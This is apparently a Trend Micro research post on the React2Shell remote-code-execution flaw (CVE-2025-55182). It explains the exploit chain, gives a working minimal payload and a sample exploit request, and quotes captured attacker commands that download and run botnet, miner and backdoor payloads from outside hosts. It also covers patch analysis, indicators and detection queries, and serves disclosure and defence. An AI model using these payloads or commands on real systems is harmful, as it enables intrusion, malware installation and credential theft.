Exploits & Vulnerabilities
CVE-2025-55182: React2Shell Analysis, Proof-of-Concept Chaos, and In-the-Wild Exploitation
CVE-2025-55182 is a CVSS 10.0 pre-authentication RCE affecting React Server Components. Amid the flood of fake proof-of-concept exploits, scanners, exploits, and widespread misconceptions, this technical analysis intends to cut through the noise.
Key takeaways:
- The exploit leverages JavaScript’s duck-typing and dynamic code execution through an attack that has four stages: it creates a self-reference loop, tricks JavaScript into calling attacker code, then injects malicious data for initialization, and finally executes arbitrary code via Blob Handler.
- We’ve identified nearly 145 in-the-wild proof-of-concept exploits of various quality with features such as WAF bypasses and automated mass-scanning.
- Trend™ Research observed that CVE-2025-55182, as of this writing, is being exploited in-the-wild, and in several malware campaigns such as the emerald and nuts campaigns. Several of these are attacks that execute Cobalt Strike beacons generated with Cross C2, deploy Nezha, Fast Reverse Proxy (FRP), the Sliver payload, and the Secret-Hunter payload.
- Trend Research provides patch and PoC landscape analysis and clarifies misconceptions about the React2Shell vulnerability to minimize chances of the deployment of ineffective defenses as well as fear, uncertainty, and doubt regarding CVE-2025-55182. Organizations should expect targeted scanning from bug bounty hunters against publicly accessible infrastructure including websites.
- Trend Vision One™ detects and blocks the IoCs discussed in this blog. Trend Micro customers can also access tailored hunting queries, threat insights, and intelligence reports to better understand and proactively defend against attackers exploiting CVE-2025-55182.
Trend customers can visit the knowledge base entry for information on available solutions and how to mitigate this vulnerability.
We have previously published a blog on what organizations need to know about the actively exploited CVE-2025-55182, which is a critical (CVSS 10.0) pre-authentication remote code execution vulnerability affecting React Server Components (RSC) used in React.js, Next.js, and related frameworks.
RSC is a modern architecture where UI components run on the server instead of the browser, reducing JavaScript sent to clients.
RSC communicate between client and server using a serialization protocol called “React Flight.” This protocol enables streaming of complex data structures that mirror the React component tree, allowing UIs to render progressively while awaiting backend responses. The sum of which can be called the RSC payload. Think of it as an RPC-over-HTTP mechanism where clients send “chunks” of serialized data to Server Functions.
When a user submits a form on an RSC app, the browser packages form data into numbered “chunks” that reference each other. The server then reassembles these chunks to understand what the user requested.
# Example: User profile update sent as Flight chunks
form_data = {
"0": (None, '["$1"]'), # Entry point → load chunk 1
"1": (None, '{"action":"updateProfile","user":"$2"}'), # Action → load user from chunk 2
"2": (None, '{"userId":42,"email":"user@example.com"}'), # Actual user data
}
# Server processes: chunk 0 → chunk 1 → chunk 2, assembling the complete request
Flight uses special $X prefixes to encode different data types. This is where the vulnerability lies: the vulnerability affects how the server deserializes data from clients. An attacker can send malicious data that executes arbitrary code on your servers before any authentication occurs.
| Prefix | Purpose | Risk |
| $@ | Raw chunk reference (returns chunk object itself) | Exploited - allows access to internal React objects |
| $B | Blob/binary data | Exploited - provides code execution gadget |
| $F | Function reference | Normal server action calls |
| $L | Lazy component | Deferred component loading |
Table 1. Flight protocol prefixes and security risks
When RSC receives data from a client, it needs to check “does this object actually have this property, or is it inherited from JavaScript’s built-in prototypes?” The vulnerable code checked this by asking the untrusted object itself: much like asking a burglar if they’re supposed to be in your house.
The vulnerability resides in React’s reviveModel function within ReactFlightReplyServer.js. When traversing chunks during reference resolution, React failed to verify whether a requested key was an own property of the object versus an inherited prototype property. The vulnerable code path is illustrated below:
for (i in value)
value.hasOwnProperty(i) &&
In JavaScript, every object inherits from Object.prototype, which includes methods like hasOwnProperty, constructor, and toString. Normally these are safe, but an attacker who controls value can replace hasOwnProperty with something malicious, bypassing the security check entirely.
The critical flaw invokes value.hasOwnProperty(i) which performs a method lookup on the untrusted value object. An attacker-controlled payload can shadow this property with a malicious reference, by passing the ownership check entirely. This opened access to prototype chain properties like constructor and __proto__.
This exploit worked like a series of locks being picked: each stage of the exploit chain got the attacker one step closer to code execution. In the next section we explain each lock and how they were picked.
React2Shell exploitation chain
The exploit leverages JavaScript’s duck-typing and dynamic code execution through an attack with four stages. This chain has been documented in two separate GitHub posts from other researchers that can be accessed here and here.
Stage 1: Create a self-reference loop
To get access to JavaScript’s internal objects by making chunks reference themselves, the $@ prefix returns the raw chunk object instead of its parsed value. If chunk 1 says “give me chunk 0’s raw object” ($@0), and chunk 0 references chunk 1, you create a loop.
attack_payload = {
"0": '{"callback": "$1:__proto__:then"}', # Chunk 0 reaches into chunk 1's prototype
"1": '"$@0"',
}
By traversing $1:__proto__:constructor:constructor, the attacker walks up JavaScript’s prototype chain: chunk 1 → Object.prototype → Object constructor → Function constructor. Now they can create arbitrary functions.
Stage 2: Trick JavaScript into calling attacker code
To make JavaScript automatically execute attacker-controlled code, JavaScript’s await keyword looks for objects with a .then() method and calls it automatically. By setting then to point to React’s internal Chunk.prototype.then, the attacker hijacks this mechanism:
Chunk.prototype.then = function(resolve, reject) {
if (this.status === "resolved_model") {
initializeModelChunk(this);
}
};
When React processes the malicious chunk, it sees a then property and treats it like a Promise. React’s own code then calls initializeModelChunk(), which is the following step.
Stage 3: Inject malicious data for initialization
To feed the attacker’s payload into React’s code initialization process, the status "resolved_model" is set to make React parse the .value field and process it. The attacker puts their payload here:
function initializeModelChunk(chunk) {
var rawModel = JSON.parse(chunk.value);
}
React trusts the status field. If it says “resolved_model”, React assumes the chunk is ready and parses its contents, including malicious references.
Stage 4: Execute arbitrary code via the blob handler
To convert a reference lookup into actual code execution, the $B prefix triggers React’s blob handler, which calls a .get() method on a controlled object. By pointing _formData.get to the Function constructor:
case "B":
return response._formData.get(response._prefix + obj);
The attacker crafts their payload so the call becomes:
Function("require('child_process').execSync('id');//0")()
React appends a chunk ID to the string. The // starts a JavaScript comment, ignoring that extra data. The server then executes the attacker’s shell command (id, or wget, or anything) with full Node.js privileges.
Minimum viable exploit
This section demonstrates that exploitation doesn’t require complex setup: just a single HTTP request.
The complete payload requires no __proto__ access (contrary to many circulating proof-of-concept exploits that use it):
{
0: {
status: "resolved_model",
reason: -1,
_response: {
_prefix: "console.log('RCE')//",
_formData: { get: "$1:then:constructor" },
},
then: "$1:then",
value: '{"then":"$B"}',
},
1: "$@0",
}
| Field | Purpose | Junior-Friendly Explanation |
| status: "resolved_model" | Trigger initialization | “I’m ready to be processed” |
| reason: -1 | Prevent crash | Technical workaround to avoid toString() error |
| _prefix | Malicious code | The actual command that runs on the server |
| _formData.get | Code execution gadget | Points to Function() so we can create new functions |
| then | Automatic trigger | Makes JavaScript call our code via await |
| value | Attack payload | Contains $B which triggers the blob handler |
| 1: "$@0" | Self-reference | Creates the loop that exposes internal objects |
Table 2. Breakdown of the malicious payload components
The $1:then:constructor path explained:
- $1 → Go to chunk 1 (which references chunk 0)
- :then → Access the then property (a function)
- :constructor → Get that function’s constructor → Function
Since then is a function, its .constructor is Function itself: the built-in JavaScript constructor that can create and execute arbitrary code.
Pre-authentication attack surface
This vulnerability is particularly severe because exploitation occurs during deserialization, before the requested Server Action is validated. Setting any Next-Action header value (even Next-Action: foo) triggers the vulnerable code path. Per Facebook’s Security Advisory:
- Pre-authentication RCE: No credentials required
- Node.js context execution: Full access to process, child_process, filesystem
- Environment variable access: Database credentials, API keys, secrets
- Lateral movement: Cloud metadata endpoints, internal network access
In-the-wild activity
This section documents real attacks we’ve observed. Enterprises can use the IOC table to update their respective threat feeds, and the timeline to assess if their organization was exposed during the exploitation window.
According to Trend Micro telemetry, there was a notable surge in exploitation attempts between December 5 and December 8, 2025. Within 24 hours of public disclosure, multiple distinct campaigns have emerged. We have observed a substantial rise in community-driven penetration testing that utilizes popular Nuclei templates including both valid and in-valid proof-of-concept exploits, alongside an increase in malware botnets leveraging CVE-2025-55182 like Mirai and Rondo.
emerald and nuts campaign
We observed that both campaign’s targeting appears opportunistic rather than focused. There’s a high volume of scanning against cloud infrastructure (Vercel, AWS, GCP) and no clear geographic or industry-specific targeting. We also observed automated mass exploitation via scanner tools. Both campaigns target x86 architecture primarily. We named these campaigns after portions of the URLs they used.
emerald
Captured RCE payload that downloads and executes a custom bot binary from shared hosting:
process.mainModule.require('child_process').execSync(
'cd /tmp; wget hxxp://gfxnick[.]emerald[.]usbx[.]me/bot; chmod 777 bot; ./bot...'
This campaign uses usbx.me shared hosting infrastructure to deliver a custom bot binary, suggesting a less sophisticated threat actor.
nuts
Captured RCE payload that downloads and executes a Mirai variant with unique identifier reactOnMynuts:
process.mainModule.require('child_process').execSync(
'(cd /dev;busybox wget hxxp://193[.]34[.]213[.]150/nuts/x86;chmod 777 x86;./x86 reactOnMynuts;busybox wget -q hxxp://193[.]34[.]213[.]150/nuts/bolts -O-|sh)'
Alternative method: Downloads Mirai variant via shell script.
curl -s hxxp://193[.]34[.]213[.]150/nuts[.]sh | bash
This campaign deploys a Mirai-based botnet variant using multiple download and execution techniques, leveraging the identifier reactOnMynuts for tracking or command execution.
Cobalt Strike beacons
In a few cases on Linux hosts, we’ve observed threat actors exploiting the vulnerability to execute Cobalt Strike beacons generated with CrossC2, software that builds cross-platform payloads for Cobalt Strike.
Leading the exploitation, the threat actor used curl to fetch a bash script from his command and control (C&C) server, 154.89.152[.]240. The bash script downloads and runs an executable binary, a Cobeacon, sets a systemd service for persistence, claiming to be an “Rsyslog AV Agent Service”. The script contains AI-generated code patterns; it has extensive Chinese comments with section dividers, verbose explanatory comments that explain obvious things, and a mix of Chinese documentation with English variable names that is common in AI translations/generation.
The script shows more signs of AI-generated code, especially in the verification logic. It looks like the threat actor asked an AI agent to bolt on a SHA-256 check, but didn’t restructure the execution flow, so the hash verification runs after execution instead of before. They also left the SHA256_64 and SHA256_32 values empty; a Chinese comment reads “for example: abcdef1234...,” which is clearly placeholder text that was never replaced.
Finally, the beacon is then dropped to /usr/local/rsyslo (if root access is available) or in $HOME/.rsyslo.
Nezha monitoring tool
We also observed the threat actors deploying Nezha, a Chinese opensource server monitoring platform, by fetching its installer from GitHub and running it with the following command:
/bin/sh -c curl -L https://raw.githubusercontent.com/nezhahq/scripts/main/agent/install.sh -o agent.sh && chmod +x agent.sh && env NZ_SERVER=107.174.123.91:11451 NZ_TLS=false NZ_CLIENT_SECRET=[REDACTED] ./agent.sh
This oneliner downloads the installer, makes it executable, and launches it with:
- NZ_SERVER=107.174.123[.]91:11451. This is the controller address and port the agent will report to.
- NZ_TLS=false. This means the transport encryption is disabled (traffic is sent in cleartext).
- NZ_CLIENT_SECRET. The registration token that binds the host to the controller.
The installer typically drops the agent binary and registers a persistent system service (like nezha-agent.service), causing the host to maintain a long-lived outbound connection to the controller. Once enrolled, the agent periodically reports host telemetry such as CPU, memory, disk, uptime, and network stats, along with healthcheck results.
Nezha itself is benign, but in this case, the covert installation, the use of a direct IP, disabled TLS, and a preconfigured secret strongly suggest the agent was deployed for surveillance and continuous visibility rather than legitimate monitoring.
Huntress previously observed the use of Nezha by China-nexus threat actors. According to Huntress’s publication, these actors exploit public‑facing web applications for several purposes, including website compromise/defacement, gaining initial access, and conducting targeted attacks. However, we don’t have enough evidence to determine the ultimate goal of this intrusion.
Fast reverse proxy
In another attempt, the threat actors tried to deploy another tool, in this case a FRP (Fast Reverse Proxy). This time, the infection started when the attacker executed the following command: wget -qO- hxxp://38.165.44[.]205/s | sh.
This script downloads and executes a binary called "ntpclient" (mimicking legitimate NTP client software) from hxxp://38.165.44[.]205/1, along with a configuration file, runs it in the background with all output suppressed, and establishes persistence by installing it across multiple layers: as a systemd service (if root), as a crontab @reboot job, and by injecting startup commands into shell RC files (.bashrc/.zshrc).
The script also kills any existing instances of the program before restarting it, ensures the downloaded files have appropriate permissions, and uses deceptive naming ("systemd-utils", "System Utils Service") to blend in with legitimate system components.
Sliver C&C
Threat actors also leveraged the React2Shell vulnerability to deploy Sliver Payload to Linux hosts. In one case, after the successful exploitation of the vulnerability, the malicious actor used the command below to fetch a Sliver payload from the command-and-control (C&C) server. As an attempt to maintain persistence, the file was saved to three different locations: /root/.rtos, /dev/shm/rtos, and /tmp/rtos.
curl -vk hxxps://216.238.68[.]169/ReactOS -o /root/.rtos
Following this activity, a base64-encoded command was executed, which downloaded and ran the script hosted at 78.153.140[.]16/re.sh. The script kills competing malware and legitimate processes, downloads and executes a cryptominer and KINSING from 78.153.140[.]16, establishes persistence via systemd services and cron jobs and attempts to hide its tracks by clearing the bash history.
It specifically targets processes that could interfere with its mining operation, including other miners and security tools. The script tries multiple installation paths (/etc, /tmp, /var/tmp, /dev/shm) depending on whether it has root access.
To maintain control, it clears competing cron jobs and installs its own to re-download the payload every minute from 80.64.16[.]241. It disables firewalls (ufw/iptables), removes file immutability flags, and attempts to preload a malicious shared library with KINSING (libsystem.so) via /etc/ld.so.preload for deeper system hooks.
Go-based backdoor
In multiple cases across different customers, we observed a suspicious backdoor written in Go. Its key malicious capabilities include providing a reverse shell via the pty library, functioning as a SOCKS5 proxy for network pivoting, and performing system reconnaissance. It communicates with its C&C server through HTTP POST requests and attempts to clear the shell history to hide its activity. A hardcoded RSA public key indicates the use of asymmetric encryption for C&C communications. The backdoor was hosted at 45.76.155[.]14 and used api[.]qtss[.]cc as a C&C server.
Windows exploitation attempts
During our threat hunting activities, we observed Windows devices being targeted with exploitation attempts. In most cases, it looked like scanning activity, as the commands were aimed at Unix/Linux hosts and attempted to deploy crypto miners.
In a successful attempt to deploy a Monero miner, we observed the threat actor leveraging the React2Shell vulnerability to execute a base64-encoded command via PowerShell. The decoded command is below.
$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.bat', $tempfile); & $tempfile [REDACTED]; Remove-Item -Force $tempfile
However, in at least two cases, we observed successful exploitation that led to the deployment of suspicious DLLs. The threat actor used curl to connect to the C&C server at 2[.]56.176.35:443, downloaded a file named “healthcheck.dll,” and saved it to the staging directory “C:\Users\Public\Documents\”. Before that, the actor ran discovery commands (e.g., whoami), collected Microsoft Defender settings, and configured exclusions. Unfortunately, we were unable to obtain the DLL for further analysis.
The "Secret-Hunter" payload
Once an attacker achieves RCE via CVE-2025-55182, they typically attempt to maintain persistence and exfiltrate data. We also analyzed a specific Node.js payload appearing in these attacks. This script is highly distinct because it automates the installation of security auditing tools to rob the server.
C&C via Cloudflare Tunnels
The script relies on Cloudflare Tunnels (trycloudflare.com) to bypass firewall egress rules.
- Observed C2 Endpoint: hxxps[://]conclusion-ideas-cover-customise[.]trycloudflare[.]com
- Mechanism: Data is deep-cleaned, JSON-serialized, and POSTed to this endpoint.
Weaponizing TruffleHog and Gitleaks
This is the most novel aspect of the payload. Instead of relying solely on custom regex, the malware downloads and installs industry-standard secret scanning tools:
- TruffleHog: It attempts to install TruffleHog via multiple methods (official install script, direct binary download from GitHub releases, brew, or pip).
- Gitleaks: If TruffleHog fails, it falls back to installing Gitleaks.
Once installed, the malware runs these tools against the compromised server's filesystem, including:
- Git Repositories: Scans commit history for buried secrets.
- Docker Images: Inspects local container layers.
- S3 Buckets: Uses discovered AWS credentials to list and scan S3 buckets accessible to the host.
- Directories: /tmp, /var/www, /opt, /etc, and user home directories.
Cloud metadata harvesting
The script aggressively targets cloud instance metadata services (IMDS) to steal temporary credentials. It queries:
- AWS: http://169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/
- GCP: http://metadata.google.internal/computeMetadata/v1/
- Azure, DigitalOcean: Respective metadata endpoints.
It automatically iterates through any found IAM roles to retrieve the AccessKeyId, SecretAccessKey, and Token.
Targeted file exfiltration
The malware contains a hardcoded list of over 100 sensitive file paths (commonSensitiveFiles and systemSensitiveFiles), specifically looking for:
- SSH Keys: id_rsa, known_hosts
- Cloud Configs: .aws/credentials, .kube/config, .azure/accessTokens.json
- Shell History: .bash_history, .zsh_history (often containing pasted passwords)
- CI/CD Configs: GitHub workflows, GitLab CI files
Additional payloads
The script acts as a dropper for further stages, attempting to download shell scripts from:
- Domain: proxy1[.]ip2worlds[.]vip
- IPFS Gateway: bafybeic6wxbl5h5adfuuh5r7n5vdbjwiy4w7zw42yb3tclutq6lscyefcm[.]ipfs[.]dweb[.]link
Exploitation timeline
This section breaks down the timeline since CVE-2025-55182 was published, and the succeeding exploitations in the wild that have been observed and reported. This timeline was constructed with information from CISA KEV, OpenWall disclosure, and Trend Micro telemetry.
| Date/Time | Event |
| 2025-12-03 | CVE published, React advisory released |
| First in-the-wild exploitation observed | |
| lachlan2k original PoC published | |
| 2025-12-05 | Go backdoor dropped |
| First CobaltStrike beacon dropped | |
| First Sliver implant dropped | |
| “emerald” campaign first observed (Trend Micro) | |
| 2025-12-06 | “nuts” campaign first observed (Trend Micro) |
| “Secret-Hunter” payload first observed (Trend Micro) | |
| CISA adds to KEV catalog | |
| 2025-12-06-07 | Exploitation spike observed in telemetry |
Table 3. Timeline since CVE-2025-55182 was published and the succeeding exploitations and related events observed
Patch analysis
With active exploitation ongoing, organizations need confidence that patching truly resolves the vulnerability. This section provides a technical breakdown of the official fix: we identify the specific commit and its author, map the modified files across React's codebase, explain exactly how the hasOwnProperty.call() pattern prevents the attack, and document multiple defense layers that provide additional protection. Finally, we list all patched versions across React and Next.js for quick reference during remediation.
Fix commit details
| Field | Value |
| Commit | bbed0b0ee64b89353a40d6313037bbc80221bc3d |
| Author | Sebastian Markbåge (@sebmarkbage) |
| Committer | Sebastian Silbermann (@eps1lon) |
| Date | 2025-12-03 |
The commit message describes this as bringing “ReactFlightClient fixes to FlightReplyServer,” referencing PRs #29823 and #33664. This was not a single-line fix: the main file ReactFlightReplyServer.js saw +592/-223 lines changed.
Files modified
| File | Changes |
| packages/react-server/src/ReactFlightReplyServer.js | +592 / -223 (main fix) |
| packages/react-server-dom-webpack/src/server/ReactFlightDOMServerNode.js | +23 / -12 |
| packages/react-server-dom-turbopack/src/server/ReactFlightDOMServerNode.js | +23 / -12 |
| packages/react-server-dom-esm/src/server/ReactFlightDOMServerNode.js | +23 / -12 |
The core fix
Vulnerable Location: ReactFlightReplyServer.js:929-933
The fix caches a reference to the original hasOwnProperty method at module load time:
hasOwnProperty = Object.prototype.hasOwnProperty,
Then uses .call() syntax throughout the deserialization code:
function reviveModel(value) {
for (i in value)
- value.hasOwnProperty(i) &&
+ hasOwnProperty.call(value, i) &&
// ... process property
}
The vulnerable pattern value.hasOwnProperty(i) performs a method lookup on the untrusted value object. An attacker who controls value can shadow the hasOwnProperty property with any value, including a reference to the Function constructor.
The fix works because:
- Captured reference. The hasOwnProperty variable stores a reference to Object.prototype.hasOwnProperty before any untrusted data is processed
- .call() invocation. Using .call(value, key) explicitly specifies which function to invoke, bypassing property lookup entirely
- Immutable binding. The attacker cannot modify module-level variables from the serialized payload
This is the standard defensive pattern documented by MDN:
// UNSAFE - attacker can shadow hasOwnProperty
obj.hasOwnProperty('key')
// SAFE - uses original prototype method
Object.prototype.hasOwnProperty.call(obj, 'key')
// ALSO SAFE - modern alternative (ES2022)
Object.hasOwn(obj, 'key')
Explicit __proto__ handling
The patch also adds explicit handling for __proto__ properties at line 4619 of the compiled code:
void 0 !== parentObj || "__proto__" === i
? (value[i] = parentObj)
: delete value[i]
This ensures that even when __proto__ appears as an own property (which JSON.parse allows), it’s handled explicitly and only affects the parsed object, not Object.prototype.
Defense-in-depth measures
Beyond the core fix, the patched versions also include multiple defensive layers:
- Server Module Map Proxy (action-utils.js:27-37)
The server action manifest uses a Proxy that safely returns undefined for prototype keys:
function createServerModuleMap({ serverActionsManifest }) {
return new Proxy({}, {
get: (_, id) => {
const workers = serverActionsManifest['node']?.[id]?.workers;
if (!workers) {
return undefined; // Safe default for unknown keys
}
// ...
}
});
}
- AES-256-GCM Encryption (encryption-utils.js)
Server Action bound arguments are encrypted, with action ID prefix validation:
if (!decrypted.startsWith(actionId)) {
throw new Error('Invalid Server Action payload: failed to decrypt.');
}
- Client-Side Prototype Validation
The client validates object prototypes before serialization (lines 614-626):
parentReference = getPrototypeOf(value);
if (
parentReference !== ObjectPrototype &&
(null === parentReference ||
null !== getPrototypeOf(parentReference))
) {
throw Error("Only plain objects, and a few built-ins, can be passed to Server Functions...");
}
- Secure Data Structures
Internal storage uses ES6 collections immune to prototype pollution: Map for chunk storage, WeakMap for written objects, FormData for form handling.
Patched versions
| Framework | Fixed Version |
| Next.js | >= 15.1.3, >= 14.2.22, >= 13.5.8 |
| React | >= 19.0.0, >= 18.3.1, >= 18.2.0 |
Table 4. Patch versions of Next.js and React. Source: Next.js Releases, React Releases.
Penetration testing
Using various Nuclei Templates, homegrown scanners, proof-of-concepts, and exploits, Trend Research noticed a slew of bug bounty hunters performing mass scans looking for vulnerable React applications.
Organizations should be prepared and expect to see targeted scanning against publicly accessible infrastructure including websites.
PoC landscape analysis
We have identified approximately 145 in-the-wild proof-of-concept exploits. However, these are of various quality and most do not trigger the actual underlying React2Shell vulnerability.
These proof-of-concept exploits often utilize:
- Scanner tools with GUI interfaces
- Multi-threaded batch scanners
- WAF bypass techniques
Defenders can assume that their networks will be mass scanned by opportunistic scanners in the near and foreseeable future.
The following table can be used for targeted penetration testing as they have been validated by Trend Researchers and the cybersecurity community.
| PoC Name/Source | Valid? | Target Framework | Key Characteristics | Detection Signature |
| lachlan2k/React2Shell | Valid | Next.js 13-15, React 18-19 | Original discovery PoC, multipart/form-data exploit | $@0, resolved_model, constructor:constructor |
| maple3142 gist | Valid | React Server Components | Minimum viable payload, no __proto__ required | $1:then:constructor, _formData.get |
| msanft/CVE-2025-55182 | Valid | Next.js, React Server Functions | Detailed technical writeup with step-by-step exploitation chain, minimal PoC | $@0, $B0, Chunk.prototype.then, NEXT_REDIRECT |
| assetnote/react2shell-scanner | Valid | Next.js | Mass scanning tool, vulnerability detection | Next-Action header, multipart boundary |
| hackersatyamrastogi/react2shell-ultimate | Valid | Next.js 13-15 | Combines Assetnote/Malayke/Pyroxenites techniques, aggressive modes | $@0, resolved_model, multipart boundary |
| Various “CVE-2025-55182-exploit” repos | Mixed | Various | Many are copies | Check for base64-encoded callbacks |
Table 5. PoC landscape analysis for CVE-2025-55182
Fake and backdoored PoC warning
Before running ANY CVE-2025-55182 scanner, security teams are recommended to first verify against our Verified Legitimate proof-of-concept exploits table in this section. Fake tools could be used to spread malware and cause or lead to the following:
- False sense of security. Running a fake scanner shows “not vulnerable” when you actually are
- Credential theft. Many fake tools harvest API keys, cloud credentials, target lists
- Supply chain attacks. Backdoored tools establish persistence on your scanning infrastructure
- Attacker reconnaissance. Your target list becomes their target list
- Time wasted. Security teams spend cycles on non-functional tools while real exploitation continues
Verified legitimate proof-of-concept exploits
| Repository | Author | Why it’s safe |
| lachlan2k/React2Shell | Original discoverer | Open source, reviewed by security community |
| maple3142 gist | Security researcher | Minimum viable payload, cited by Vercel |
| msanft/CVE-2025-55182 | msanft | Excellent technical writeup with step-by-step exploitation chain, includes test server |
| assetnote/react2shell-scanner | Assetnote | Open source, reputable security firm, vulnerability identification |
Table 6. List of legitimate proof-of-concept exploits that have been verified
Traffic analysis
This section provides ready-to-deploy detection rules. The Snort/Suricata and Sigma rules can be copied directly into your SIEM/IDS. The IOC patterns table shows exactly what to look for in your logs.
Payload structure
Exploitation traffic follows this pattern (based on lachlan2k PoC):
POST /api/actions/vulnerable-endpoint HTTP/1.1
Host: target[.]example[.]com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Next-Action: abc123def456
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="1_$ACTION_ID_abc123"
["$@1",{"1":"$@2","2":"$@3"}]
------WebKitFormBoundary7MA4YWxkTrZu0gW--
CVE-2025-55182: IOC patterns
| Pattern type | Value | Context |
| Header | Next-Action: * | Server Action identifier |
| Body | $@0, $@1, $@N | Chunk references |
| Body | resolved_model | Promise state indicator |
| Body | constructor:constructor | Function access chain |
| Body | _formData.get | Property traversal |
| Body | process.mainModule | RCE payload indicator |
| Body | child_process | Command execution module |
| Body | execSync, exec | Shell command execution |
| Body | spawnSync, spawn | Process spawning |
| Body | execFile, execFileSync | Direct file execution |
| Body | eval( | Dynamic code evaluation |
| Body | Function( | Function constructor (RCE) |
| Body | require('fs') | File system access |
| Body | readFileSync | File read (credential theft) |
| Body | writeFileSync | File write (persistence) |
Table 7. Indicators of compromise patterns for CVE-2025-55182
Clearing up misinformation
This section addresses five common misunderstandings we’ve seen in security teams’ assessments of CVE-2025-55182. It’s crucial to set the record straight on these misconceptions, because carrying out mitigation responses with misinformation can lead to ineffective defenses or a false sense of security.
| Myth | Reality |
| “It’s prototype pollution” | No; attack works without __proto__ |
| “Only Next.js is affected” | No; any React Server Components app |
| “WAF blocking __proto__ protects us” | No; bypass payloads exist |
| “Edge Runtime is vulnerable” | No; Node.js only |
| “Patching React is enough” | Partially; also need WAF + monitoring |
Table 8. Common misconceptions about CVE-2025-55182
Misconception 1: “This is a prototype pollution vulnerability”
This is a common oversimplification that risks teams implementing incorrect defenses.
While public Proof-of-concept exploits use __proto__, this is only used as one path to access the Function constructor. The actual vulnerability is that we can access JavaScript properties like constructor when these belong to the Object prototype and are not keys of the object itself.
The distinction matters:
- Prototype pollution (strictly defined): Injecting malicious properties into the global Object.prototype, poisoning any JS object in the runtime. This requires accessing properties like __proto__ or prototype.
- This vulnerability: Traversing prototype chain properties (constructor, then) that exist on all objects via inheritance.
It is critical to note that the minimum viable exploit does NOT require __proto__ or prototype in the payload. Simply blacklisting these keywords in a WAF will NOT provide protection.
The maple3142 minimum payload demonstrates this, it uses $1:then:constructor without any __proto__:
// Source: https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
{
_formData: { get: "$1:then:constructor" },
then: "$1:then"
}
Misconception 2: “Only Next.js is affected”
Per the React Security Advisory, the vulnerability is in React’s core Flight protocol packages:
- react-server-dom-webpack
- react-server-dom-turbopack
- react-server-dom-parcel
Any framework using React Server Components is potentially affected, including custom implementations.
Misconception 3: “WAF rules blocking __proto__ provide protection”
As demonstrated above, the minimum viable exploit does not require __proto__. We have seen numerous WAF bypassses. Effective WAF rules must block:
- $@ chunk references
- resolved_model string
- constructor:constructor pattern
- _formData.get pattern
Misconception 4: “Edge Runtime is vulnerable”
Per Vercel documentation, the vulnerability requires Node.js runtime. Edge Runtime (Cloudflare Workers, Vercel Edge) uses V8 isolates without access to process, child_process, or Node.js APIs. Applications deployed exclusively to Edge Runtime are not exploitable via this vector.
Misconception 5: “Patching React is sufficient”
This misconception is partially correct: while patching React fixes the root cause, organizations should also:
- Audit Server Action exposure
- Implement rate limiting
- Add WAF rules for defense-in-depth
- Review logs for historical exploitation
- Consider Edge Runtime for sensitive endpoints
Affected Versions of Next.js & React Server Components
Next.js
Applications using React Server Components with the App Router are affected on the following Next.js versions.
- Next.js 15.x
- Next.js 16.x
- Next.js 14.3.0-canary.77 and later canary releases
react-server-dom-webpack
- 19.0.0
- 19.1.0 – 19.1.1
- 19.2.0
react-server-dom-parcel
- 19.0.0
- 19.1.0 – 19.1.1
- 19.2.0
React-server-dom-turbopack
- 19.0.0
- 19.1.0 – 19.1.1
- 19.2.0
Immediate actions:
- CVE-2025-55182 affects Upgrade to patched versions (Next.js >= 15.1.3, React >= 19.0.0)
- Implement detection rules from Section 6
- Review infrastructure for IOCs from Section 3
- Validate any “security tools” before use (Section 5)
Long-term considerations:
- Audit all Server Action endpoints
- Consider Edge Runtime for reduced attack surface
- Implement defense-in-depth with proper WAF rules (not just __proto__ blocking)
- Monitor for new PoC variants
Conclusion
CVE-2025-55182 represents a critical shift in the web security landscape. React Server Components’ adoption by major platforms means this vulnerability affects a significant portion of modern web applications.
We would like to thank all the Trend Response, Research, & Incident Response teams for triaging the volume of telemetry that React2Shell produced.
With special thank you to the following Researchers for ensuring Trend protections:
- Kelly Lee
- Ayman Ben-Neceur
Additionally, we would like to thank the broader cybersecurity community for their valuable contributions during the last two weeks. The energy that React2Shell brought parallels to similar vulnerabilities such as Log4J and what makes working in this industry meaningful.
Special thanks to Lachlan Davidson for finding React2Shell, his responsible disclosure process, and in his timely updates on CVE-2025-55182.
Proactive security with Trend Vision One™
Trend Vision One™ is the only AI-powered enterprise cybersecurity platform that centralizes cyber risk exposure management and security operations, delivering robust layered protection across on-premises, hybrid, and multi-cloud environments.
Information on available Trend solutions that protect customers from vulnerability exploitation can be found on this knowledge base entry .
Trend Vision One™ Threat Intelligence
To stay ahead of evolving threats, Trend customers can access Trend Vision One™ Threat Insights which provides the latest insights from Trend™ Research on emerging threats and threat actors.
Trend Vision One Emerging Threat
Hunting Queries
Trend Vision One Search App
Trend Vision One customers can use the Search App to match or hunt the malicious indicators mentioned in this blog post with data in their environment.
Linux Hunting Queries:
- NodeJS Spawning Network and Shell Tools - Linux:
eventSubId:2 AND (parentFilePath:"*/node" AND (processFilePath:"*/sh" OR processFilePath:"*/bash" OR processFilePath:"*/dash" OR processFilePath:"*/busybox")) AND (objectFilePath:"*/bash" OR objectFilePath:"*/dash" OR objectFilePath:"*/sh" OR objectFilePath:"*/zsh" OR objectFilePath:"*/ksh" OR objectFilePath:"*/csh" OR objectFilePath:"*/nc" OR objectFilePath:"*/netcat" OR objectFilePath:"*/socat" OR objectFilePath:"*/curl" OR objectFilePath:"*/wget" OR objectFilePath:"*/ssh" OR objectFilePath:"*/scp" OR objectFilePath:"*/rsync" OR objectFilePath:"*/ncat")
- NodeJS Spawning File Access and Scripting Tools - Linux:
eventSubId:2 AND (parentFilePath:"/node" AND (processFilePath:"/sh" OR processFilePath:"/bash" OR processFilePath:"/dash" OR processFilePath:"/busybox")) AND (objectFilePath:"/cat" OR objectFilePath:"/head" OR objectFilePath:"/tail" OR objectFilePath:"/more" OR objectFilePath:"/less" OR objectFilePath:"/base64" OR objectFilePath:"/perl" OR objectFilePath:"/python" OR objectFilePath:"/ruby" OR objectFilePath:"/node" OR objectFilePath:"/java" OR objectFilePath:"/nohup" OR objectFilePath:"/screen" OR objectFilePath:"*/busybox")
- NodeJS Spawning File Access and Scripting Tools – Linux:
